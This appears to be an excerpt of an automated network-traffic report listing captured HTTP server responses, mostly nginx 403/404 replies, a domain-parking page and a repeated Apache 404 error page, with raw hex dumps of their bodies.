Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenServer: nginxDate: Mon, 02 Dec 2024 13:38:03 GMTContent-Type: text/htmlTransfer-Encoding: chunkedConnection: closeContent-Encoding: gzipData Raw: 61 39 0d 0a 1f 8b 08 00 00 00 00 00 04 03 ed 90 b1 0e c2 30 0c 44 77 24 fe c1 7c 40 14 10 8c 56 16 04 12 03 13 5f 90 62 d3 44 4a 9d ca 64 a0 7f 4f 0a ad 84 98 19 19 7d f7 ee 74 32 86 d2 25 b7 5c 60 60 4f 0e 4b 2c 89 dd 6e bd 85 63 d6 26 12 b1 a0 7d 8b 68 5f 48 45 9b 4c c3 18 b9 b2 14 56 87 61 f3 9d a8 0a da c9 1e bb 2b 34 5d d2 46 79 7c 7a 76 6e b3 f3 92 95 31 e0 a1 f7 44 51 5a 28 19 28 de 7d 93 18 ce 97 d3 01 bc 10 ec 83 e6 8e e1 a6 91 85 d2 00 ac 9a b5 26 5a 06 63 c6 65 ff 8a 5f fe e2 09 5b 30 e7 0b 24 02 00 00 0d 0a 30 0d 0a 0d 0a Data Ascii: a90Dw$\|@V_bDJdO}t2%\``OK,nc&}h_HELVa+4]Fy\|zvn1DQZ((}&Zce_[0$0
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenServer: nginxDate: Mon, 02 Dec 2024 13:38:06 GMTContent-Type: text/htmlTransfer-Encoding: chunkedConnection: closeContent-Encoding: gzipData Raw: 61 39 0d 0a 1f 8b 08 00 00 00 00 00 04 03 ed 90 b1 0e c2 30 0c 44 77 24 fe c1 7c 40 14 10 8c 56 16 04 12 03 13 5f 90 62 d3 44 4a 9d ca 64 a0 7f 4f 0a ad 84 98 19 19 7d f7 ee 74 32 86 d2 25 b7 5c 60 60 4f 0e 4b 2c 89 dd 6e bd 85 63 d6 26 12 b1 a0 7d 8b 68 5f 48 45 9b 4c c3 18 b9 b2 14 56 87 61 f3 9d a8 0a da c9 1e bb 2b 34 5d d2 46 79 7c 7a 76 6e b3 f3 92 95 31 e0 a1 f7 44 51 5a 28 19 28 de 7d 93 18 ce 97 d3 01 bc 10 ec 83 e6 8e e1 a6 91 85 d2 00 ac 9a b5 26 5a 06 63 c6 65 ff 8a 5f fe e2 09 5b 30 e7 0b 24 02 00 00 0d 0a 30 0d 0a 0d 0a Data Ascii: a90Dw$\|@V_bDJdO}t2%\``OK,nc&}h_HELVa+4]Fy\|zvn1DQZ((}&Zce_[0$0
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenServer: nginxDate: Mon, 02 Dec 2024 13:38:08 GMTContent-Type: text/htmlTransfer-Encoding: chunkedConnection: closeContent-Encoding: gzipData Raw: 61 39 0d 0a 1f 8b 08 00 00 00 00 00 04 03 ed 90 b1 0e c2 30 0c 44 77 24 fe c1 7c 40 14 10 8c 56 16 04 12 03 13 5f 90 62 d3 44 4a 9d ca 64 a0 7f 4f 0a ad 84 98 19 19 7d f7 ee 74 32 86 d2 25 b7 5c 60 60 4f 0e 4b 2c 89 dd 6e bd 85 63 d6 26 12 b1 a0 7d 8b 68 5f 48 45 9b 4c c3 18 b9 b2 14 56 87 61 f3 9d a8 0a da c9 1e bb 2b 34 5d d2 46 79 7c 7a 76 6e b3 f3 92 95 31 e0 a1 f7 44 51 5a 28 19 28 de 7d 93 18 ce 97 d3 01 bc 10 ec 83 e6 8e e1 a6 91 85 d2 00 ac 9a b5 26 5a 06 63 c6 65 ff 8a 5f fe e2 09 5b 30 e7 0b 24 02 00 00 0d 0a 30 0d 0a 0d 0a Data Ascii: a90Dw$\|@V_bDJdO}t2%\``OK,nc&}h_HELVa+4]Fy\|zvn1DQZ((}&Zce_[0$0
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginxDate: Mon, 02 Dec 2024 13:38:19 GMTContent-Type: text/htmlTransfer-Encoding: chunkedConnection: closeContent-Encoding: gzipData Raw: 64 39 33 0d 0a 1f 8b 08 00 00 00 00 00 00 03 cd 5a 5b 6f 1b c7 15 7e f7 af 18 b3 80 48 da dc dd 28 29 02 db 22 a9 26 71 fa 94 4b 01 39 2d 0a 45 21 86 cb 11 b9 e6 72 97 dd 5d 4a a6 6d 01 89 9d 34 09 62 c4 68 1a a0 40 d0 a0 37 14 7d 2a 20 5f d4 28 be 28 7f 61 f9 8f fa 9d 33 bb cb 21 45 ca b7 a4 28 01 89 cb b9 9c 39 73 2e df 39 67 66 eb a7 3b a1 9b 8c 87 4a f4 92 81 df ac d3 7f e1 fa 32 8e 1b 25 2f 6e c9 8e 1c 26 de 8e 2a 09 5f 06 dd 46 29 1a 95 30 46 c9 4e b3 3e 50 89 14 6e 4f 46 b1 4a 1a a5 f7 2e fd d2 3a 87 3e 6e 0d e4 40 35 4a 43 19 f5 bd a0 5b 12 6e 18 24 2a c0 a0 48 75 a3 91 15 81 e6 ec c8 1d 4f ed 0e c3 28 31 86 ee 7a 9d a4 d7 e8 a8 1d cf 55 16 ff a8 79 81 97 78 d2 b7 62 57 fa aa b1 0a 12 89 97 f8 aa b9 bb bb 6b c7 e3 a0 63 6f 8f 82 ba a3 db ea be 17 f4 45 a4 fc 46 29 4e c6 be 8a 7b 4a 81 fc 40 75 3c d9 28 49 df 2f 89 5e a4 b6 0b 26 99 29 4b 8e 92 d0 76 e3 18 a4 a7 f3 3d b0 9f 8f de 96 e0 27 0c 6c fc 5b 5f 2d 09 92 1b c4 34 90 5d e5 5c b1 78 60 b3 1e bb 91 37 4c 9a ce 99 fa e9 cd 37 2e be 76 e9 b5 cd 33 ce a9 5d 2f e8 84 bb 76 12 49 b7 bf c1 03 de 0a 65 47 34 04 78 76 13 2f 0c 2a d5 6b 7b 6b a7 9c 33 5b 5b cd 33 4e dd c9 88 64 c4 44 18 f8 18 de 28 2d 26 53 29 3b 03 19 78 db 2a 4e ec cb 71 b9 5a c2 78 15 45 61 f4 94 13 6a 62 15 73 e2 c8 6d 94 4c 42 d0 46 ae dd 51 b2 cd da 7d 66 be c8 54 a0 30 92 48 fc d4 bc cd 4f 32 f9 9b eb 3b 89 47 47 db 69 3b ec 8c 73 8b 6e 5b 43 e8 4a e8 af 16 a9 af 95 59 29 b7 b1 bd 4e 9f 5a ed 6e cb f7 ba bd 04 f6 40 b4 54 64 d2 e1 c1 ad 56 d6 41 24 67 5a 34 f5 cc d6 3b de ce d2 a9 56 10 26 c4 52 a2 ae 60 a1 f4 eb f4 28 7d 94 1e a4 8f 45 fa 5d ba 3f f9 10 8f f7 d2 c3 c9 47 93 1b 78 3e c4 df 51 7a 37 dd a7 ee bb 2b 41 3b 1e ae d5 e1 85 da 5f db 16 59 6d 6e ab bd 24 19 c6 17 1c 07 4e 67 c3 6d b5 33 04 e1 76 e8 fb e1 ae 08 c2 70 a8 60 25 78 80 1f c0 5a 54 04 7b 96 51 97 9c b9 d5 86 b7 f7 c1 cc 5f 69 75 7b f2 e1 e4 66 dd 91 cd ba 83 7d 34 eb 73 9b e9 aa 56 2b f3 70 6b 37 92 c3 21 88 66 02 9e 6f 6f b1 2f b6 e0 0b 80 83 a5 83 58 2d bd 30 4e 00 1e 56 9c c8 c4 73 a1 80 b9 55 67 64 6d 65 eb 93 9e 56 a7 d2 98 d3 88 c5 d0 50 9a c3 8b de 6a b3 3e 5c 3e a7 a3 b4 f5 c2 45 9f 5d 47 f5 76 d4 4c 0f b5 9a d2 1f 48 7f e9 0f ac d3 07 c7 b4 38 23 ea e1 b2 ed b6 47 49 12 06 71 2e 67 ec d7 50 be ee 04 97 fa 01 c2 f7 c3 a8 c5 da 55 81 4b 26 96 75 c4 de 55 d5 82 de 07 d2 67 25 64 b2 2c e6 17 72 cb c6 b3 42 80 c1 06 89 a1 ec 74 a0 9e 96 4f 16 33 6f 71 04 c8 da ea 9c dd 5e e8 c5 ce ba db 53 6e bf b1 d2 e1 c0 60 e2 f5 8a 1c 0c d7 30 b6 15 87 a3 c8 55 8d 7c 69 42 e2 52 f3 37 34 9b 2c 4f 98 fb 24 47 31 f9 66 a8 36 fc ef e4 7d 74 c2 81 f4 0a 40 cf 9d c4 60 59 0f 70 02 b5 eb ac 8f 92 41 ce d9 0c d7 d4 4e b1 64 34 c8 39 5e a1 26 17 bb 91 5e 37 68 c4 10 4c d0 69 81 c6 c9 1b 4c ff 0e 43 f8 4f 7a 20 26 9f a4 47 93 4f 27 37 45 7a 3f f7 ff d3 86 cb c5 43 19 2c b0 d1 61 14 0e 42 8
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginxDate: Mon, 02 Dec 2024 13:38:22 GMTContent-Type: text/htmlTransfer-Encoding: chunkedConnection: closeContent-Encoding: gzipData Raw: 64 39 33 0d 0a 1f 8b 08 00 00 00 00 00 00 03 cd 5a 5b 6f 1b c7 15 7e f7 af 18 b3 80 48 da dc dd 28 29 02 db 22 a9 26 71 fa 94 4b 01 39 2d 0a 45 21 86 cb 11 b9 e6 72 97 dd 5d 4a a6 6d 01 89 9d 34 09 62 c4 68 1a a0 40 d0 a0 37 14 7d 2a 20 5f d4 28 be 28 7f 61 f9 8f fa 9d 33 bb cb 21 45 ca b7 a4 28 01 89 cb b9 9c 39 73 2e df 39 67 66 eb a7 3b a1 9b 8c 87 4a f4 92 81 df ac d3 7f e1 fa 32 8e 1b 25 2f 6e c9 8e 1c 26 de 8e 2a 09 5f 06 dd 46 29 1a 95 30 46 c9 4e b3 3e 50 89 14 6e 4f 46 b1 4a 1a a5 f7 2e fd d2 3a 87 3e 6e 0d e4 40 35 4a 43 19 f5 bd a0 5b 12 6e 18 24 2a c0 a0 48 75 a3 91 15 81 e6 ec c8 1d 4f ed 0e c3 28 31 86 ee 7a 9d a4 d7 e8 a8 1d cf 55 16 ff a8 79 81 97 78 d2 b7 62 57 fa aa b1 0a 12 89 97 f8 aa b9 bb bb 6b c7 e3 a0 63 6f 8f 82 ba a3 db ea be 17 f4 45 a4 fc 46 29 4e c6 be 8a 7b 4a 81 fc 40 75 3c d9 28 49 df 2f 89 5e a4 b6 0b 26 99 29 4b 8e 92 d0 76 e3 18 a4 a7 f3 3d b0 9f 8f de 96 e0 27 0c 6c fc 5b 5f 2d 09 92 1b c4 34 90 5d e5 5c b1 78 60 b3 1e bb 91 37 4c 9a ce 99 fa e9 cd 37 2e be 76 e9 b5 cd 33 ce a9 5d 2f e8 84 bb 76 12 49 b7 bf c1 03 de 0a 65 47 34 04 78 76 13 2f 0c 2a d5 6b 7b 6b a7 9c 33 5b 5b cd 33 4e dd c9 88 64 c4 44 18 f8 18 de 28 2d 26 53 29 3b 03 19 78 db 2a 4e ec cb 71 b9 5a c2 78 15 45 61 f4 94 13 6a 62 15 73 e2 c8 6d 94 4c 42 d0 46 ae dd 51 b2 cd da 7d 66 be c8 54 a0 30 92 48 fc d4 bc cd 4f 32 f9 9b eb 3b 89 47 47 db 69 3b ec 8c 73 8b 6e 5b 43 e8 4a e8 af 16 a9 af 95 59 29 b7 b1 bd 4e 9f 5a ed 6e cb f7 ba bd 04 f6 40 b4 54 64 d2 e1 c1 ad 56 d6 41 24 67 5a 34 f5 cc d6 3b de ce d2 a9 56 10 26 c4 52 a2 ae 60 a1 f4 eb f4 28 7d 94 1e a4 8f 45 fa 5d ba 3f f9 10 8f f7 d2 c3 c9 47 93 1b 78 3e c4 df 51 7a 37 dd a7 ee bb 2b 41 3b 1e ae d5 e1 85 da 5f db 16 59 6d 6e ab bd 24 19 c6 17 1c 07 4e 67 c3 6d b5 33 04 e1 76 e8 fb e1 ae 08 c2 70 a8 60 25 78 80 1f c0 5a 54 04 7b 96 51 97 9c b9 d5 86 b7 f7 c1 cc 5f 69 75 7b f2 e1 e4 66 dd 91 cd ba 83 7d 34 eb 73 9b e9 aa 56 2b f3 70 6b 37 92 c3 21 88 66 02 9e 6f 6f b1 2f b6 e0 0b 80 83 a5 83 58 2d bd 30 4e 00 1e 56 9c c8 c4 73 a1 80 b9 55 67 64 6d 65 eb 93 9e 56 a7 d2 98 d3 88 c5 d0 50 9a c3 8b de 6a b3 3e 5c 3e a7 a3 b4 f5 c2 45 9f 5d 47 f5 76 d4 4c 0f b5 9a d2 1f 48 7f e9 0f ac d3 07 c7 b4 38 23 ea e1 b2 ed b6 47 49 12 06 71 2e 67 ec d7 50 be ee 04 97 fa 01 c2 f7 c3 a8 c5 da 55 81 4b 26 96 75 c4 de 55 d5 82 de 07 d2 67 25 64 b2 2c e6 17 72 cb c6 b3 42 80 c1 06 89 a1 ec 74 a0 9e 96 4f 16 33 6f 71 04 c8 da ea 9c dd 5e e8 c5 ce ba db 53 6e bf b1 d2 e1 c0 60 e2 f5 8a 1c 0c d7 30 b6 15 87 a3 c8 55 8d 7c 69 42 e2 52 f3 37 34 9b 2c 4f 98 fb 24 47 31 f9 66 a8 36 fc ef e4 7d 74 c2 81 f4 0a 40 cf 9d c4 60 59 0f 70 02 b5 eb ac 8f 92 41 ce d9 0c d7 d4 4e b1 64 34 c8 39 5e a1 26 17 bb 91 5e 37 68 c4 10 4c d0 69 81 c6 c9 1b 4c ff 0e 43 f8 4f 7a 20 26 9f a4 47 93 4f 27 37 45 7a 3f f7 ff d3 86 cb c5 43 19 2c b0 d1 61 14 0e 42 8
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginxDate: Mon, 02 Dec 2024 13:38:25 GMTContent-Type: text/htmlTransfer-Encoding: chunkedConnection: closeContent-Encoding: gzipData Raw: 64 39 33 0d 0a 1f 8b 08 00 00 00 00 00 00 03 cd 5a 5b 6f 1b c7 15 7e f7 af 18 b3 80 48 da dc dd 28 29 02 db 22 a9 26 71 fa 94 4b 01 39 2d 0a 45 21 86 cb 11 b9 e6 72 97 dd 5d 4a a6 6d 01 89 9d 34 09 62 c4 68 1a a0 40 d0 a0 37 14 7d 2a 20 5f d4 28 be 28 7f 61 f9 8f fa 9d 33 bb cb 21 45 ca b7 a4 28 01 89 cb b9 9c 39 73 2e df 39 67 66 eb a7 3b a1 9b 8c 87 4a f4 92 81 df ac d3 7f e1 fa 32 8e 1b 25 2f 6e c9 8e 1c 26 de 8e 2a 09 5f 06 dd 46 29 1a 95 30 46 c9 4e b3 3e 50 89 14 6e 4f 46 b1 4a 1a a5 f7 2e fd d2 3a 87 3e 6e 0d e4 40 35 4a 43 19 f5 bd a0 5b 12 6e 18 24 2a c0 a0 48 75 a3 91 15 81 e6 ec c8 1d 4f ed 0e c3 28 31 86 ee 7a 9d a4 d7 e8 a8 1d cf 55 16 ff a8 79 81 97 78 d2 b7 62 57 fa aa b1 0a 12 89 97 f8 aa b9 bb bb 6b c7 e3 a0 63 6f 8f 82 ba a3 db ea be 17 f4 45 a4 fc 46 29 4e c6 be 8a 7b 4a 81 fc 40 75 3c d9 28 49 df 2f 89 5e a4 b6 0b 26 99 29 4b 8e 92 d0 76 e3 18 a4 a7 f3 3d b0 9f 8f de 96 e0 27 0c 6c fc 5b 5f 2d 09 92 1b c4 34 90 5d e5 5c b1 78 60 b3 1e bb 91 37 4c 9a ce 99 fa e9 cd 37 2e be 76 e9 b5 cd 33 ce a9 5d 2f e8 84 bb 76 12 49 b7 bf c1 03 de 0a 65 47 34 04 78 76 13 2f 0c 2a d5 6b 7b 6b a7 9c 33 5b 5b cd 33 4e dd c9 88 64 c4 44 18 f8 18 de 28 2d 26 53 29 3b 03 19 78 db 2a 4e ec cb 71 b9 5a c2 78 15 45 61 f4 94 13 6a 62 15 73 e2 c8 6d 94 4c 42 d0 46 ae dd 51 b2 cd da 7d 66 be c8 54 a0 30 92 48 fc d4 bc cd 4f 32 f9 9b eb 3b 89 47 47 db 69 3b ec 8c 73 8b 6e 5b 43 e8 4a e8 af 16 a9 af 95 59 29 b7 b1 bd 4e 9f 5a ed 6e cb f7 ba bd 04 f6 40 b4 54 64 d2 e1 c1 ad 56 d6 41 24 67 5a 34 f5 cc d6 3b de ce d2 a9 56 10 26 c4 52 a2 ae 60 a1 f4 eb f4 28 7d 94 1e a4 8f 45 fa 5d ba 3f f9 10 8f f7 d2 c3 c9 47 93 1b 78 3e c4 df 51 7a 37 dd a7 ee bb 2b 41 3b 1e ae d5 e1 85 da 5f db 16 59 6d 6e ab bd 24 19 c6 17 1c 07 4e 67 c3 6d b5 33 04 e1 76 e8 fb e1 ae 08 c2 70 a8 60 25 78 80 1f c0 5a 54 04 7b 96 51 97 9c b9 d5 86 b7 f7 c1 cc 5f 69 75 7b f2 e1 e4 66 dd 91 cd ba 83 7d 34 eb 73 9b e9 aa 56 2b f3 70 6b 37 92 c3 21 88 66 02 9e 6f 6f b1 2f b6 e0 0b 80 83 a5 83 58 2d bd 30 4e 00 1e 56 9c c8 c4 73 a1 80 b9 55 67 64 6d 65 eb 93 9e 56 a7 d2 98 d3 88 c5 d0 50 9a c3 8b de 6a b3 3e 5c 3e a7 a3 b4 f5 c2 45 9f 5d 47 f5 76 d4 4c 0f b5 9a d2 1f 48 7f e9 0f ac d3 07 c7 b4 38 23 ea e1 b2 ed b6 47 49 12 06 71 2e 67 ec d7 50 be ee 04 97 fa 01 c2 f7 c3 a8 c5 da 55 81 4b 26 96 75 c4 de 55 d5 82 de 07 d2 67 25 64 b2 2c e6 17 72 cb c6 b3 42 80 c1 06 89 a1 ec 74 a0 9e 96 4f 16 33 6f 71 04 c8 da ea 9c dd 5e e8 c5 ce ba db 53 6e bf b1 d2 e1 c0 60 e2 f5 8a 1c 0c d7 30 b6 15 87 a3 c8 55 8d 7c 69 42 e2 52 f3 37 34 9b 2c 4f 98 fb 24 47 31 f9 66 a8 36 fc ef e4 7d 74 c2 81 f4 0a 40 cf 9d c4 60 59 0f 70 02 b5 eb ac 8f 92 41 ce d9 0c d7 d4 4e b1 64 34 c8 39 5e a1 26 17 bb 91 5e 37 68 c4 10 4c d0 69 81 c6 c9 1b 4c ff 0e 43 f8 4f 7a 20 26 9f a4 47 93 4f 27 37 45 7a 3f f7 ff d3 86 cb c5 43 19 2c b0 d1 61 14 0e 42 8
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginxDate: Mon, 02 Dec 2024 13:38:27 GMTContent-Type: text/htmlTransfer-Encoding: chunkedConnection: closeData Raw: 32 36 35 32 0d 0a 3c 21 64 6f 63 74 79 70 65 20 68 74 6d 6c 3e 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 22 69 73 5f 61 64 61 70 74 69 76 65 22 20 6c 61 6e 67 3d 22 72 75 22 3e 3c 68 65 61 64 3e 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 55 54 46 2d 38 22 3e 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 70 61 72 6b 69 6e 67 22 20 63 6f 6e 74 65 6e 74 3d 22 72 65 67 72 75 2d 72 64 61 70 22 3e 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 22 3e 3c 74 69 74 6c 65 3e 77 77 77 2e 73 79 6e 64 2e 66 75 6e 3c 2f 74 69 74 6c 65 3e 3c 6c 69 6e 6b 20 72 65 6c 3d 22 73 74 79 6c 65 73 68 65 65 74 22 20 6d 65 64 69 61 3d 22 61 6c 6c 22 20 68 72 65 66 3d 22 70 61 72 6b 69 6e 67 2d 72 64 61 70 2d 61 75 74 6f 2e 63 73 73 22 3e 3c 6c 69 6e 6b 20 72 65 6c 3d 22 69 63 6f 6e 22 20 68 72 65 66 3d 22 66 61 76 69 63 6f 6e 2e 69 63 6f 3f 31 22 20 74 79 70 65 3d 22 69 6d 61 67 65 2f 78 2d 69 63 6f 6e 22 3e 3c 73 63 72 69 70 74 3e 2f 2a 3c 21 5b 43 44 41 54 41 5b 2a 2f 0a 77 69 6e 64 6f 77 2e 74 72 61 63 6b 53 63 72 69 70 74 4c 6f 61 64 20 3d 20 66 75 6e 63 74 69 6f 6e 28 29 7b 7d 3b 0a 2f 2a 5d 5d 3e 2a 2f 3c 2f 73 63 72 69 70 74 3e 3c 73 63 72 69 70 74 20 6f 6e 6c 6f 61 64 3d 22 77 69 6e 64 6f 77 2e 74 72 61 63 6b 53 63 72 69 70 74 4c 6f 61 64 28 27 2f 6d 61 6e 69 66 65 73 74 2e 6a 73 27 29 22 20 6f 6e 65 72 72 6f 72 3d 22 77 69 6e 64 6f 77 2e 74 72 61 63 6b 53 63 72 69 70 74 4c 6f 61 64 28 27 2f 6d 61 6e 69 66 65 73 74 2e 6a 73 27 2c 20 31 29 22 20 73 72 63 3d 22 2f 6d 61 6e 69 66 65 73 74 2e 6a 73 22 20 63 68 61 72 73 65 74 3d 22 75 74 66 2d 38 22 3e 3c 2f 73 63 72 69 70 74 3e 3c 73 63 72 69 70 74 20 6f 6e 6c 6f 61 64 3d 22 77 69 6e 64 6f 77 2e 74 72 61 63 6b 53 63 72 69 70 74 4c 6f 61 64 28 27 2f 68 65 61 64 2d 73 63 72 69 70 74 73 2e 6a 73 27 29 22 20 6f 6e 65 72 72 6f 72 3d 22 77 69 6e 64 6f 77 2e 74 72 61 63 6b 53 63 72 69 70 74 4c 6f 61 64 28 27 2f 68 65 61 64 2d 73 63 72 69 70 74 73 2e 6a 73 27 2c 20 31 29 22 20 73 72 63 3d 22 2f 68 65 61 64 2d 73 63 72 69 70 74 73 2e 6a 73 22 20 63 68 61 72 73 65 74 3d 22 75 74 66 2d 38 22 3e 3c 2f 73 63 72 69 70 74 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 20 63 6c 61 73 73 3d 22 62 2d 70 61 67 65 20 62 2d 70 61 67 65 5f 74 79 70 65 5f 70 61 72 6b 69 6e 67 20 62 2d 70 61 72 6b 69 6e 67 20 62 2d 70 61 72 6b 69 6e 67 5f 62 67 5f 6c 69 67 68 74 22 3e 3c 68 65 61 64 65 72 20 63 6c 61 73 73 3d 22 62 2d 70 61 72 6b 69 6e 67 5f 5f 68 65 61 64 65 72 20 62 2d 70 61 72 6b 69 6e 67 5f 5f 68 65 61 64 65 72 5f 74 79 70 65 5f 72 64 61 70 22 3e 3c 64 69 76 20 63 6c 61 73 73 3d 22 62 2d 70 61 72 6b 69 6e 67 5f 5f 68 65 61 64 65 72 2d 6e 6f 74 65 20 62 2d 74 65 78 74 22 3e d0 94 d0 be d0 bc d0 b5 d0 bd 20 d0 b7 d0 b0 d1 80 d0 b5 d0 b3 d0 b8 d1 81 d1 82 d1 80 d
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Mon, 02 Dec 2024 13:38:34 GMTServer: ApacheContent-Length: 389Connection: closeContent-Type: text/htmlData Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 77 69 6e 64 6f 77 73 2d 31 32 35 32 22 3e 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 0a 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0a 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e Data Ascii: <!DOCTYPE html PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><meta http-equiv="Content-Type" content="text/html; charset=windows-1252"><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL was not found on this server.</p><p>Additionally, a 404 Not Founderror was encountered while trying to use an ErrorDocument to handle the request.</p></body></html>
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Mon, 02 Dec 2024 13:38:37 GMTServer: ApacheContent-Length: 389Connection: closeContent-Type: text/htmlData Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 77 69 6e 64 6f 77 73 2d 31 32 35 32 22 3e 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 0a 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0a 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e Data Ascii: <!DOCTYPE html PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><meta http-equiv="Content-Type" content="text/html; charset=windows-1252"><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL was not found on this server.</p><p>Additionally, a 404 Not Founderror was encountered while trying to use an ErrorDocument to handle the request.</p></body></html>
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Mon, 02 Dec 2024 13:38:39 GMTServer: ApacheContent-Length: 389Connection: closeContent-Type: text/htmlData Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 77 69 6e 64 6f 77 73 2d 31 32 35 32 22 3e 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 0a 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0a 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e Data Ascii: <!DOCTYPE html PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><meta http-equiv="Content-Type" content="text/html; charset=windows-1252"><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL was not found on this server.</p><p>Additionally, a 404 Not Founderror was encountered while trying to use an ErrorDocument to handle the request.</p></body></html>
